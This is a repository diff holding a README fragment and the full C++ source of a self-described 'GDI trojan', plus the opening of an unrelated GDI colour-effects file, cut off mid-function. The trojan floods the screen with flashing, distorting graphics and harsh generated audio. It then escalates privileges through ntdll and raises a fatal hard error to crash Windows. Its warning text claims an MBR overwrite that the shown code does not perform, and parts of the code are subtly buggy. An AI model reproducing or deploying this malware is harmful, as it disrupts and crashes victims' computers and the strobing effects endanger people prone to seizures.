Well, I have seen N17Pro3426 skidding my shaders from 6kals and zip. (shit malwares). and that makes me sad. So, a basic explaining, I made this trojan Open Source to make my subscribers look how it's made a GDI-Trojan and to make people learn GDI basics, NOT FOR SHIT17PRO3426!!!
|
| 19 |
+
|
| 20 |
+
# 🤝 Credits
|
| 21 |
+
NotCCR - The OG Ununennium Creator.
|
| 22 |
+
Comium97 - Helped me with NTSTATUS crasher.
|
| 23 |
+
And thanks to whoever is reading this :D
|
| 24 |
+
|
| 25 |
+
|
| 26 |
+
# 🎬 UnunenniumA Showcase
|
| 27 |
+
SOON...
|
src/GDI-Trojan.Win32.UnunenniumA-main/UnuneniumA-Source.cpp
ADDED
|
@@ -0,0 +1,384 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include <windows.h> // the Windows API
|
| 2 |
+
#include <cmath> // trigonometry
|
| 3 |
+
#include <ctime> // time shit
|
| 4 |
+
#include <tchar.h>
|
| 5 |
+
#include <iostream>
|
| 6 |
+
#include <xmmintrin.h> // for the __rdtsc intrinsic
|
| 7 |
+
#pragma comment(lib, "winmm.lib")
|
| 8 |
+
#pragma comment(lib,"Msimg32.lib")
|
| 9 |
+
#define NOTSRCINVERT 0x999999ul
|
| 10 |
+
#define HATCHPAINT 0x1900ac010eul
|
| 11 |
+
typedef NTSTATUS(NTAPI* NRHEdef)(NTSTATUS, ULONG, ULONG, PULONG, ULONG, PULONG);
|
| 12 |
+
typedef NTSTATUS(NTAPI* RAPdef)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
|
| 13 |
+
|
| 14 |
+
|
| 15 |
+
COLORREF GetRandomRainbowSpectrum() {
|
| 16 |
+
int color = rand () % 7;
|
| 17 |
+
if (color == 0) {
|
| 18 |
+
return RGB(255, 0, 0);
|
| 19 |
+
}
|
| 20 |
+
if (color == 1) {
|
| 21 |
+
return RGB(255, 150, 0);
|
| 22 |
+
}
|
| 23 |
+
if (color == 2) {
|
| 24 |
+
return RGB(255, 255, 0);
|
| 25 |
+
}
|
| 26 |
+
if (color == 3) {
|
| 27 |
+
return RGB(0, 255, 0);
|
| 28 |
+
}
|
| 29 |
+
if (color == 4) {
|
| 30 |
+
return RGB(0, 255, 255);
|
| 31 |
+
}
|
| 32 |
+
if (color == 5) {
|
| 33 |
+
return RGB(0, 0, 255);
|
| 34 |
+
}
|
| 35 |
+
if (color == 6) {
|
| 36 |
+
return RGB(255, 0, 255);
|
| 37 |
+
}
|
| 38 |
+
}
|
| 39 |
+
|
| 40 |
+
VOID WINAPI SplitBlt(HDC hdc, int strength, int xSrc, int ySrc, DWORD dwSrcMode) {
|
| 41 |
+
BitBlt(hdc, strength, strength, xSrc/2, ySrc/2, hdc, 0, 0, dwSrcMode);
|
| 42 |
+
BitBlt(hdc, xSrc/2+1, strength, xSrc/2, ySrc/2, hdc, xSrc/2, 0, dwSrcMode);
|
| 43 |
+
BitBlt(hdc, strength, ySrc/2+1, xSrc/2, ySrc/2, hdc, 0, ySrc/2, dwSrcMode);
|
| 44 |
+
BitBlt(hdc, xSrc/2+1, ySrc/2+1, xSrc/2, ySrc/2, hdc, xSrc/2, ySrc/2, dwSrcMode);
|
| 45 |
+
}
|
| 46 |
+
|
| 47 |
+
|
| 48 |
+
DWORD WINAPI Split1(LPVOID lpParam)
|
| 49 |
+
{
|
| 50 |
+
int w = GetSystemMetrics(0), h = GetSystemMetrics(1);
|
| 51 |
+
HDC hdc;
|
| 52 |
+
while (1) {
|
| 53 |
+
hdc = GetDC(0);
|
| 54 |
+
SplitBlt(hdc, -5, w, h, SRCPAINT); // example value
|
| 55 |
+
ReleaseDC(0, hdc);
|
| 56 |
+
Sleep(10);
|
| 57 |
+
}
|
| 58 |
+
}
|
| 59 |
+
|
| 60 |
+
|
| 61 |
+
int w = GetSystemMetrics(SM_CXSCREEN), h = GetSystemMetrics(SM_CYSCREEN);
|
| 62 |
+
|
| 63 |
+
DWORD CALLBACK redrawCounter(LPVOID lprdw) {
|
| 64 |
+
Sleep(500);
|
| 65 |
+
InvalidateRect(NULL, 0, 0);
|
| 66 |
+
return 0;
|
| 67 |
+
}
|
| 68 |
+
|
| 69 |
+
DWORD WINAPI SustainEpicPayload(LPVOID lpvoid)
|
| 70 |
+
{
|
| 71 |
+
CreateThread(NULL, 0, redrawCounter, NULL, 0, 0);
|
| 72 |
+
HDC hdc;
|
| 73 |
+
HBRUSH hbsh;
|
| 74 |
+
while (true) {
|
| 75 |
+
hdc = GetDC(0);
|
| 76 |
+
hbsh = CreateSolidBrush(PALETTERGB(rand() % 239, rand() % 239, rand() % 239));
|
| 77 |
+
StretchBlt(hdc, -5, -5, w+10, h+10, hdc, 0, 0, w, h, SRCINVERT);
|
| 78 |
+
StretchBlt(hdc, 5, 5, w-10, h-10, hdc, 0, 0, w, h, SRCCOPY);
|
| 79 |
+
BitBlt(hdc, rand() % 10, rand() % 10, w, h, hdc, rand() % 10, rand() % 10, SRCCOPY);
|
| 80 |
+
SelectObject(hdc, hbsh);
|
| 81 |
+
PatBlt(hdc, 0, 0, w, h, PATINVERT);
|
| 82 |
+
DeleteObject(hbsh);
|
| 83 |
+
ReleaseDC(0, hdc);
|
| 84 |
+
Sleep(10);
|
| 85 |
+
}
|
| 86 |
+
}
|
| 87 |
+
|
| 88 |
+
|
| 89 |
+
|
| 90 |
+
DWORD WINAPI SrcpaintDisp(LPVOID lpvoid)
|
| 91 |
+
{
|
| 92 |
+
HDC hdc;
|
| 93 |
+
double dispangle = 0;
|
| 94 |
+
while (true) {
|
| 95 |
+
hdc = GetDC(0);
|
| 96 |
+
for (FLOAT a = 0; a < w+h; a += 0.9f) {
|
| 97 |
+
int v = cos(dispangle) * 3;
|
| 98 |
+
BitBlt(hdc, 0, a, w, h, hdc, v, a, SRCAND);
|
| 99 |
+
dispangle += M_PI / 5;
|
| 100 |
+
}
|
| 101 |
+
ReleaseDC(0, hdc);
|
| 102 |
+
Sleep(10);
|
| 103 |
+
}
|
| 104 |
+
}
|
| 105 |
+
|
| 106 |
+
DWORD WINAPI Bounce(LPVOID lpvoid)
|
| 107 |
+
{
|
| 108 |
+
HDC hdc;
|
| 109 |
+
HPEN hp;
|
| 110 |
+
int sx = 1, sy = 1, sx1 = 1, sy1 = 1;
|
| 111 |
+
int incrementation = 10;
|
| 112 |
+
int x = 10, y = 10;
|
| 113 |
+
while (1) {
|
| 114 |
+
hdc = GetDC(0);
|
| 115 |
+
x += incrementation * sx;
|
| 116 |
+
y += incrementation * sy;
|
| 117 |
+
POINT opt[4] = {{360, y}, {x, y}, {50, 178}};
|
| 118 |
+
hp = CreatePen(PS_SOLID, rand() % 5 + 10, GetRandomRainbowSpectrum());
|
| 119 |
+
SelectObject(hdc, hp);
|
| 120 |
+
PolyBezier(hdc, opt, 4);
|
| 121 |
+
if (y >= GetSystemMetrics(1)) {
|
| 122 |
+
sy = -1;
|
| 123 |
+
}
|
| 124 |
+
if (x >= GetSystemMetrics(0)) {
|
| 125 |
+
sx = -1;
|
| 126 |
+
}
|
| 127 |
+
if (y == 0) {
|
| 128 |
+
sy = 1;
|
| 129 |
+
}
|
| 130 |
+
if (x == 0) {
|
| 131 |
+
sx = 1;
|
| 132 |
+
}
|
| 133 |
+
DeleteObject(hp);
|
| 134 |
+
ReleaseDC(0, hdc);
|
| 135 |
+
Sleep(10);
|
| 136 |
+
}
|
| 137 |
+
}
|
| 138 |
+
|
| 139 |
+
DWORD WINAPI anglezoomer(LPVOID lpvd)
|
| 140 |
+
{
|
| 141 |
+
HDC hdc;
|
| 142 |
+
while (true) {
|
| 143 |
+
hdc = GetDC(0);
|
| 144 |
+
StretchBlt(hdc, -10, -10, w+20, h+20, hdc, 0, 0, w-10, h-10, NOTSRCINVERT);
|
| 145 |
+
ReleaseDC(0, hdc);
|
| 146 |
+
Sleep(10);
|
| 147 |
+
}
|
| 148 |
+
}
|
| 149 |
+
|
| 150 |
+
DWORD WINAPI gradienttriangle(LPVOID lpvd)
|
| 151 |
+
{ // you must link the msimg32 library (or must you)
|
| 152 |
+
HDC hdc = GetDC(0);
|
| 153 |
+
while (1) {
|
| 154 |
+
TRIVERTEX vtx[3];
|
| 155 |
+
vtx[0].x = rand () % w; vtx[0].y = rand () % h;
|
| 156 |
+
vtx[1].x = rand () % w; vtx[1].y = rand () % h;
|
| 157 |
+
vtx[2].x = rand () % w; vtx[2].y = rand () % h;
|
| 158 |
+
vtx[0].Red = 0xff00; vtx[0].Green = 0xff00; vtx[0].Blue = 0; vtx[0].Alpha = 0xff00;
|
| 159 |
+
vtx[1].Red = 0; vtx[1].Green = 0xff00; vtx[1].Blue = 0xff00; vtx[1].Alpha = 0xff00;
|
| 160 |
+
vtx[2].Red = 0xff00; vtx[2].Green = 20; vtx[2].Blue = 0xff00; vtx[2].Alpha = 0xff00;
|
| 161 |
+
GRADIENT_TRIANGLE gt;
|
| 162 |
+
gt.Vertex1 = 0;
|
| 163 |
+
gt.Vertex2 = 1; gt.Vertex3 = 2;
|
| 164 |
+
GradientFill(hdc, vtx, 4, >, 1, GRADIENT_FILL_TRIANGLE);
|
| 165 |
+
Sleep(10);
|
| 166 |
+
}
|
| 167 |
+
}
|
| 168 |
+
|
| 169 |
+
DWORD WINAPI trigonshake(LPVOID lpvd)
|
| 170 |
+
{
|
| 171 |
+
HDC hdc;
|
| 172 |
+
double angle = 0.0;
|
| 173 |
+
int xadd, yadd; // x angle and y angle
|
| 174 |
+
while (1) {
|
| 175 |
+
hdc = GetDC(NULL);
|
| 176 |
+
xadd = cos(angle) * 10, yadd = sin(angle) * 10;
|
| 177 |
+
BitBlt(hdc, xadd, yadd, w, h, hdc, 0, 0, SRCAND);
|
| 178 |
+
angle += M_PI / 8;
|
| 179 |
+
ReleaseDC(NULL, hdc);
|
| 180 |
+
Sleep(10);
|
| 181 |
+
}
|
| 182 |
+
}
|
| 183 |
+
|
| 184 |
+
DWORD WINAPI melt(LPVOID lpvoid)
|
| 185 |
+
{
|
| 186 |
+
HDC hdc;
|
| 187 |
+
int rw;
|
| 188 |
+
while (true) {
|
| 189 |
+
hdc = GetDC(0);
|
| 190 |
+
rw = rand() % w;
|
| 191 |
+
int rh = rand() % h;
|
| 192 |
+
BitBlt(hdc, rw, rand() % 20 - 10, 100, h, hdc, rw, 0, SRCAND);
|
| 193 |
+
BitBlt(hdc, rand() % 20 - 10, rh, w, 100, hdc, 0, rh, SRCAND);
|
| 194 |
+
ReleaseDC(0, hdc);
|
| 195 |
+
Sleep(10);
|
| 196 |
+
}
|
| 197 |
+
}
|
| 198 |
+
|
| 199 |
+
DWORD WINAPI setshake(LPVOID lpvoid)
|
| 200 |
+
{
|
| 201 |
+
HDC hdc;
|
| 202 |
+
while (true) {
|
| 203 |
+
hdc = GetDC(0);
|
| 204 |
+
BitBlt(hdc, rand() % 20, rand() % 20, w, h, hdc, rand() % 20, rand() % 20, SRCCOPY);
|
| 205 |
+
ReleaseDC(0, hdc);
|
| 206 |
+
Sleep(10);
|
| 207 |
+
}
|
| 208 |
+
}
|
| 209 |
+
|
| 210 |
+
DWORD WINAPI patstatic(LPVOID lpvoid)
|
| 211 |
+
{
|
| 212 |
+
HDC hdc, mdc;
|
| 213 |
+
HBRUSH hpat;
|
| 214 |
+
while (true) {
|
| 215 |
+
hdc = GetDC(0), mdc = CreateCompatibleDC(hdc);
|
| 216 |
+
hpat = CreateSolidBrush(RGB(rand() % 255, rand() % 255, rand() % 255));
|
| 217 |
+
HBITMAP hbit = CreateCompatibleBitmap(hdc, w, h);
|
| 218 |
+
SelectObject(mdc, hbit);
|
| 219 |
+
SetStretchBltMode(hdc, STRETCH_ORSCANS);
|
| 220 |
+
SetStretchBltMode(mdc, STRETCH_ORSCANS);
|
| 221 |
+
StretchBlt(mdc, 0, 0, w/10, h/10, hdc, 0, 0, w, h, SRCCOPY);
|
| 222 |
+
StretchBlt(hdc, 0, 0, w, h, mdc, 0, 0, w/10, h/10, SRCCOPY);
|
| 223 |
+
SelectObject(hdc, hpat);
|
| 224 |
+
PatBlt(hdc, 0, 0, w, rand() % h, PATCOPY);
|
| 225 |
+
DeleteObject(hpat);
|
| 226 |
+
ReleaseDC(0, hdc);
|
| 227 |
+
Sleep(10);
|
| 228 |
+
}
|
| 229 |
+
}
|
| 230 |
+
|
| 231 |
+
|
| 232 |
+
|
| 233 |
+
|
| 234 |
+
|
| 235 |
+
void Sound1() {
|
| 236 |
+
HWAVEOUT hwo = 0;
|
| 237 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 17000, 17000, 1, 8, 0 };
|
| 238 |
+
waveOutOpen(&hwo, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 239 |
+
char buffer[17000 * 15] = {};
|
| 240 |
+
for (DWORD t = 0; t < sizeof(buffer); ++t)
|
| 241 |
+
buffer[t] = static_cast<char>((t^t*(t>>12))&18);
|
| 242 |
+
|
| 243 |
+
WAVEHDR hdr = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
|
| 244 |
+
waveOutPrepareHeader(hwo, &hdr, sizeof(WAVEHDR));
|
| 245 |
+
waveOutWrite(hwo, &hdr, sizeof(WAVEHDR));
|
| 246 |
+
waveOutUnprepareHeader(hwo, &hdr, sizeof(WAVEHDR));
|
| 247 |
+
waveOutClose(hwo);
|
| 248 |
+
}
|
| 249 |
+
|
| 250 |
+
void Sound3() {
|
| 251 |
+
HWAVEOUT hwo = 0;
|
| 252 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 8000, 8000, 1, 8, 0 };
|
| 253 |
+
waveOutOpen(&hwo, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 254 |
+
char buffer[17000 * 25] = {};
|
| 255 |
+
for (DWORD t = 0; t < sizeof(buffer); ++t)
|
| 256 |
+
buffer[t] = static_cast<char>(t*(t^8|t^5)/0x144);
|
| 257 |
+
|
| 258 |
+
WAVEHDR hdr = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
|
| 259 |
+
waveOutPrepareHeader(hwo, &hdr, sizeof(WAVEHDR));
|
| 260 |
+
waveOutWrite(hwo, &hdr, sizeof(WAVEHDR));
|
| 261 |
+
waveOutUnprepareHeader(hwo, &hdr, sizeof(WAVEHDR));
|
| 262 |
+
waveOutClose(hwo);
|
| 263 |
+
}
|
| 264 |
+
|
| 265 |
+
void Sound4() {
|
| 266 |
+
HWAVEOUT hwo = 0;
|
| 267 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32000, 32000, 1, 8, 0 };
|
| 268 |
+
waveOutOpen(&hwo, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 269 |
+
char buffer[32000 * 30] = {};
|
| 270 |
+
for (DWORD t = 0; t < sizeof(buffer); ++t)
|
| 271 |
+
buffer[t] = static_cast<char>(t^(t>>6)-t);
|
| 272 |
+
|
| 273 |
+
WAVEHDR hdr = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
|
| 274 |
+
waveOutPrepareHeader(hwo, &hdr, sizeof(WAVEHDR));
|
| 275 |
+
waveOutWrite(hwo, &hdr, sizeof(WAVEHDR));
|
| 276 |
+
waveOutUnprepareHeader(hwo, &hdr, sizeof(WAVEHDR));
|
| 277 |
+
waveOutClose(hwo);
|
| 278 |
+
}
|
| 279 |
+
|
| 280 |
+
void Sound5() {
|
| 281 |
+
HWAVEOUT hwo = 0;
|
| 282 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 16000, 16000, 1, 8, 0 };
|
| 283 |
+
waveOutOpen(&hwo, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 284 |
+
char buffer[16000 * 22] = {};
|
| 285 |
+
for (DWORD t = 0; t < sizeof(buffer); ++t)
|
| 286 |
+
buffer[t] = static_cast<char>((t^(t>>5|t>>8*t))%50);
|
| 287 |
+
|
| 288 |
+
WAVEHDR hdr = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
|
| 289 |
+
waveOutPrepareHeader(hwo, &hdr, sizeof(WAVEHDR));
|
| 290 |
+
waveOutWrite(hwo, &hdr, sizeof(WAVEHDR));
|
| 291 |
+
waveOutUnprepareHeader(hwo, &hdr, sizeof(WAVEHDR));
|
| 292 |
+
waveOutClose(hwo);
|
| 293 |
+
}
|
| 294 |
+
|
| 295 |
+
void Sound6() {
|
| 296 |
+
HWAVEOUT hwo = 0;
|
| 297 |
+
WAVEFORMATEX wfx = { WAVE_FORMAT_PCM, 1, 32000, 32000, 1, 8, 0 };
|
| 298 |
+
waveOutOpen(&hwo, WAVE_MAPPER, &wfx, 0, 0, CALLBACK_NULL);
|
| 299 |
+
char buffer[32000 * 5] = {};
|
| 300 |
+
for (DWORD t = 0; t < sizeof(buffer); ++t)
|
| 301 |
+
buffer[t] = static_cast<char>(t*rand());
|
| 302 |
+
|
| 303 |
+
WAVEHDR hdr = { buffer, sizeof(buffer), 0, 0, 0, 0, 0, 0 };
|
| 304 |
+
waveOutPrepareHeader(hwo, &hdr, sizeof(WAVEHDR));
|
| 305 |
+
waveOutWrite(hwo, &hdr, sizeof(WAVEHDR));
|
| 306 |
+
waveOutUnprepareHeader(hwo, &hdr, sizeof(WAVEHDR));
|
| 307 |
+
waveOutClose(hwo);
|
| 308 |
+
}
|
| 309 |
+
|
| 310 |
+
|
| 311 |
+
|
| 312 |
+
int CALLBACK WinMain(
|
| 313 |
+
HINSTANCE hInstance, HINSTANCE hPrevInstance,
|
| 314 |
+
LPSTR lpCmdLine, int nCmdShow
|
| 315 |
+
)
|
| 316 |
+
{
|
| 317 |
+
if (MessageBoxW(NULL, L"You are about to run the UnunenniumA.exe Trojan horse that will overwrite your MBR and make this device unusable.\r\nIf you are seeing this without knowing what you just executed, just hit No and nothing bad will happen.\r\nBut, if you\'re taking a risk, or running it in a safe environment, like a virtual machine, hit Yes.\r\n\r\nIf you are running this on physical hardware, shut it down and delete this file quickly!\r\nVenra is not responsible for any epilepsy made using this malware, reverse engineering it, or any artificial removal of this disclaimer!\r\nStill execute the malware?", L"GDI-Trojan.Win32.UnunenniumA - Malware Execution Alert", MB_YESNO | MB_ICONEXCLAMATION) == IDNO)
|
| 318 |
+
{
|
| 319 |
+
ExitProcess(0);
|
| 320 |
+
}
|
| 321 |
+
else
|
| 322 |
+
{
|
| 323 |
+
if (MessageBoxW(NULL, L"This is your final warning!\r\n\r\nThe creator of this malware is not responsible for any Epilepsy, as it was made for entertainment and scientific purposes only.\r\nShut this file down and delete it quickly, or hit Yes if you\'re running it on a VM.\r\nThis is your last chance.", L"GDI-Trojan.Win32.UnunenniumA - Final Warning", MB_YESNO | MB_ICONEXCLAMATION) == IDNO)
|
| 324 |
+
{
|
| 325 |
+
ExitProcess(0);
|
| 326 |
+
}
|
| 327 |
+
else
|
| 328 |
+
{
|
| 329 |
+
Sleep(2000);
|
| 330 |
+
HANDLE thread1 = CreateThread(0, 0, Split1, 0, 0, 0);
|
| 331 |
+
Sound1();
|
| 332 |
+
Sleep(15000);
|
| 333 |
+
TerminateThread(thread1, 0);
|
| 334 |
+
CloseHandle(thread1);
|
| 335 |
+
InvalidateRect(0, 0, 0);
|
| 336 |
+
HANDLE thread2 = CreateThread(0, 0, SustainEpicPayload, 0, 0, 0);
|
| 337 |
+
// Sound2();
|
| 338 |
+
Sleep(15000);
|
| 339 |
+
TerminateThread(thread2, 0);
|
| 340 |
+
CloseHandle(thread2);
|
| 341 |
+
InvalidateRect(0, 0, 0);
|
| 342 |
+
HANDLE thread3 = CreateThread(0, 0, SrcpaintDisp, 0, 0, 0);
|
| 343 |
+
HANDLE thread3dot1 = CreateThread(0, 0, Bounce, 0, 0, 0);
|
| 344 |
+
HANDLE thread3dot2 = CreateThread(0, 0, anglezoomer, 0, 0, 0);
|
| 345 |
+
Sound3();
|
| 346 |
+
Sleep(25000);
|
| 347 |
+
TerminateThread(thread3, 0);
|
| 348 |
+
TerminateThread(thread3dot2, 0);
|
| 349 |
+
CloseHandle(thread3);
|
| 350 |
+
CloseHandle(thread3dot2);
|
| 351 |
+
InvalidateRect(0, 0, 0);
|
| 352 |
+
HANDLE thread4 = CreateThread(0, 0, gradienttriangle, 0, 0, 0);
|
| 353 |
+
HANDLE thread4dot1 = CreateThread(0, 0, trigonshake, 0, 0, 0);
|
| 354 |
+
Sound4();
|
| 355 |
+
Sleep(30000);
|
| 356 |
+
TerminateThread(thread4, 0);
|
| 357 |
+
TerminateThread(thread4dot1, 0);
|
| 358 |
+
CloseHandle(thread4);
|
| 359 |
+
CloseHandle(thread4dot1);
|
| 360 |
+
InvalidateRect(0, 0, 0);
|
| 361 |
+
HANDLE thread5 = CreateThread(0, 0, melt, 0, 0, 0);
|
| 362 |
+
HANDLE thread5dot1 = CreateThread(0, 0, setshake, 0, 0, 0);
|
| 363 |
+
Sound5();
|
| 364 |
+
Sleep(22000);
|
| 365 |
+
TerminateThread(thread5, 0);
|
| 366 |
+
TerminateThread(thread5dot1, 0);
|
| 367 |
+
TerminateThread(thread3dot1, 0);
|
| 368 |
+
CloseHandle(thread5);
|
| 369 |
+
CloseHandle(thread5dot1);
|
| 370 |
+
CloseHandle(thread3dot1);
|
| 371 |
+
InvalidateRect(0, 0, 0);
|
| 372 |
+
HANDLE end = CreateThread(0, 0, patstatic, 0, 0, 0);
|
| 373 |
+
Sound6();
|
| 374 |
+
Sleep(5000);
|
| 375 |
+
BOOLEAN bl;
|
| 376 |
+
DWORD response;
|
| 377 |
+
NRHEdef NtRaiseHardError = (NRHEdef)GetProcAddress(LoadLibraryW(L"ntdll"), "NtRaiseHardError");
|
| 378 |
+
RAPdef RtlAdjustPrivilege = (RAPdef)GetProcAddress(LoadLibraryW(L"ntdll"), "RtlAdjustPrivilege");
|
| 379 |
+
RtlAdjustPrivilege(19, 1, 0, &bl);
|
| 380 |
+
NtRaiseHardError(0xC00002AC, 0, 0, 0, 6, &response);
|
| 381 |
+
Sleep(-1);
|
| 382 |
+
|
| 383 |
+
|
| 384 |
+
}}}
|
src/GDI-effects-main/README.md
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
GDI effects made in C++
|
src/GDI-effects-main/hslrotozoomer.cpp
ADDED
|
@@ -0,0 +1,90 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include <windows.h>
|
| 2 |
+
#include <math.h>
|
| 3 |
+
|
| 4 |
+
COLORREF COLORHSL(int length) {
|
| 5 |
+
double h = fmod(length, 360.0);
|
| 6 |
+
double s = 1.0;
|
| 7 |
+
double l = 0.5;
|
| 8 |
+
|
| 9 |
+
double c = (1.0 - fabs(2.0 * l - 1.0)) * s;
|
| 10 |
+
double x = c * (1.0 - fabs(fmod(h / 60.0, 2.0) - 1.0));
|
| 11 |
+
double m = l - c / 2.0;
|
| 12 |
+
|
| 13 |
+
double r1, g1, b1;
|
| 14 |
+
if (h < 60) {
|
| 15 |
+
r1 = c;
|
| 16 |
+
g1 = x;
|
| 17 |
+
b1 = 0;
|
| 18 |
+
}
|
| 19 |
+
else if (h < 120) {
|
| 20 |
+
r1 = x;
|
| 21 |
+
g1 = c;
|
| 22 |
+
b1 = 0;
|
| 23 |
+
}
|
| 24 |
+
else if (h < 180) {
|
| 25 |
+
r1 = 0;
|
| 26 |
+
g1 = c;
|
| 27 |
+
b1 = x;
|
| 28 |
+
}
|
| 29 |
+
else if (h < 240) {
|
| 30 |
+
r1 = 0;
|
| 31 |
+
g1 = x;
|
| 32 |
+
b1 = c;
|
| 33 |
+
}
|
| 34 |
+
else if (h < 300) {
|
| 35 |
+
r1 = x;
|
| 36 |
+
g1 = 0;
|
| 37 |
+
b1 = c;
|
| 38 |
+
}
|
| 39 |
+
else {
|
| 40 |
+
r1 = c;
|
| 41 |
+
g1 = 0;
|
| 42 |
+
b1 = x;
|
| 43 |
+
}
|
| 44 |
+
|
| 45 |
+
int red = static_cast<int>((r1 + m) * 255);
|
| 46 |
+
int green = static_cast<int>((g1 + m) * 255);
|
| 47 |
+
int blue = static_cast<int>((b1 + m) * 255);
|
| 48 |
+
|
